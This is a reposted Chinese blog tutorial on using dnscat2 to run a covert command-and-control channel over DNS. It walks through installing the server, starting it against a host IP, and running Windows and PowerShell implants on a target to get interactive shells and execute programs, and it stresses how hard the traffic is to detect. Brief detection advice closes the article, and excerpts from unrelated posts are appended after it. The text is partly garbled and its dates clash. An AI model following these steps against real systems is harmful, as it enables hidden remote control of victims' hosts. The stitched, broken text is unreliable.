通過DNS控制主機以及執行命令

2021-09-23 03:12:23 字數 1552 閱讀 5499

本文講的是通過dns控制主機以及執行命令

即使在一些限制非常嚴格的環境下,dns協議還是允許處理內部和外部的通訊的。所以通過dns就可以建立起目標主機和命令&控**務器之間的通訊。由於命令和資料報都是在合法的dns查詢中傳輸的,所以很不容易被檢測到。

dnscat2是可以實現這一技術的,它可以通過dns協議建立乙個命令和控制通道。這一工具使用基於c語言編寫的客戶端(種植體),客戶端在目標機器執行,進而與服務端建立通訊。通訊過程中流量是進行加密傳輸的,並且通過預先共享的金鑰進行認證。

在kali2.0中安裝這一工具可以通過以下命令:

git clone 

cd dnscat2/server/

bundle install

命令以及控**務器可以通過下面命令進行初始化:

ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache

dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169
在c&c服務端,紅隊就可以進行會話互動:

session -i 1
通過執行「help」命令會列出所有可執行的命令:

或者可以使用「shell「命令會開啟另外乙個會話。

以下輸出會在目標機器的命令列中顯示:

shell是互動式的,而且全部是通過dns進行傳輸的,速度而且很快。

通過呼叫exec命令可以遠端開啟程式:

exec notepad.exe
luke baggett 已經開發出powershell版本的客戶端,並且已經在blackhillsinfosec**中進行了介紹,這一版本的客戶端的命令和已經編譯好的客戶端命令是相同的,不過他還新增了一些其他功能,比如互動式的powershell會話以及可以在記憶體中執行任何程式。

以下命令就是在目標機器執行powershell版本客戶端:

ps c:> start-dnscat2 -domain pentestlab -dnsserver 192.168.1.169
還可以通過以下命令直接建立powershell會話:

exec psh
這樣會建立乙個新的控制台,可以執行powershell命令和指令碼:

結論

dnscat2通過dns進行控制和執行命令有很多優點,比如:

1.支援多個會話

2.流量加密

3.通過使用金鑰防止mitm攻擊

4.從記憶體中直接執行powershell指令碼

5.隱蔽的

檢測這樣的攻擊是非常困難的,因為任意命令是通過合法的dns流量進行傳輸的,所以應該強調監控dns查詢的長度,並允許主機只與受信任的dns伺服器進行通訊。

原文發布時間為:2023年9月16日

DNS本機可解析,其他主機通過本機無法解析問題

新建了乙個redhat虛擬機器,將此虛擬機器作為dns伺服器使用,配置完以後宿主機的dns伺服器設定為配置好的虛擬機器位址,結果總是顯示no server reached,沒有伺服器可以到達,花了很長時間終於解決了。問題原因是 redhat預設安裝了防火牆iptables和前端控制firewalld...

Linux 命令執行控制

1 方式 command1 command2 如果command1執行成功,則執行command2 kevin kevin test ll總用量 4 rw rw r 1 kevin kevin 0 9月 11 00 55 1.log kevin kevin test mv 1.log tmp.log...

BASH 通過變數執行命令

問題 你希望根據實際情況執行不同的命令,怎麼去實現呢?解決方案 有很多問題解決這個問題,這也是指令碼要解決的。後面的章節中有很多的程式設計邏輯可以解決這個問題,比如 if then else,case 語句。fn tmp x.x prog echo prog fn prog cat prog fn ...